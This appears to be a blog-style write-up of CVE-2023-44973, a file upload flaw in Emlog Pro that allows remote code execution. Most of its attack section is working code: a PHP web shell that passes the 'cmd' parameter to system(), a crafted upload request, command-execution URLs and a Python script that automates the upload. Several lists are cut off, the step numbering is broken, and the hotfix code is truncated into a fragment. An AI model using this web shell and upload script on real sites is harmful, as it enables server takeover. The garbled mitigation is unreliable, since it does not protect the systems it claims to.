CVE-2023-44973 - How Hackers Exploit Emlog Pro’s File Upload Flaw to Run Any Code

In the fast-moving world of web security, even popular blogging platforms aren’t safe from dangerous vulnerabilities. One of the latest threats is CVE-2023-44973, found in Emlog Pro v2.2.. This critical flaw allows attackers to upload any file they want—including malicious PHP scripts—which can completely take over your website.

What is CVE-2023-44973?

CVE-2023-44973 is an arbitrary file upload vulnerability in the /content/templates/ component of Emlog Pro v2.2.. Attackers can abuse this flaw to upload crafted files—especially malicious PHP code—that get executed on the server. That means they can:

How Does the Vulnerability Work?

Emlog Pro allows users to upload template files under /content/templates/. But, due to improper validation of uploaded files, attackers can:

Directly access and execute those files from the browser.

This happens because the system doesn’t check that only safe formats (like .zip or .xml) get uploaded. Any file, including .php, slips through.

An attacker creates a simple PHP backdoor, like this

<?php
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
}
?>

What does this do?
Whatever command is passed as cmd in the URL will be run on your server. Example:
http://yoursite.com/content/templates/shell.php?cmd=ls

2. Upload the Malicious File

Attackers use the template upload feature in Emlog Pro’s admin panel or by sending a crafted POST request:

POST /admin/template_upload.php HTTP/1.1
Host: victim-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Cookie: your_session_cookie

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
}
?>

------WebKitFormBoundary--

> In a real attack, the exact request may vary based on the application. The key point is sending a .php file.

Now, the attacker can simply open

http://victim-site.com/content/templates/shell.php?cmd=whoami

And, voilà—they see the web server’s username in their browser.

Here’s a Python snippet showing how attackers might automate the process

import requests

url = "http://victim-site.com/admin/template_upload.php";
files = {
    'file': ('shell.php', b'<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>', 'application/x-php')
}
cookies = {'PHPSESSID': 'your_session_id'}

r = requests.post(url, files=files, cookies=cookies)
print(r.status_code)

Warning: For educational use only!

Here’s what you must do to protect your Emlog Pro site

1. Update to Latest Version: Check the Emlog Pro official site for security patches.

Restrict File Types: Only allow trusted formats in uploads.

3. Hotfix: If you can’t update, edit the template_upload.php file, adding a server-side check like this:

die('Invalid file type!');

}

References

- NVD CVE-2023-44973 Listing
- Emlog Official Website
- Exploit Database Entry (if/when available)

Conclusion

CVE-2023-44973 highlights the dangers of improper file validation in popular platforms like Emlog Pro. If you’re running an affected version, patch now and lock down your file uploads. Don’t wait until attackers come knocking!

Stay safe, stay updated.

Disclaimer:
All information is provided for educational and defensive purposes only. Do not misuse this vulnerability.

Timeline

Published on: 10/03/2023 21:15:10 UTC
Last modified on: 10/05/2023 15:16:23 UTC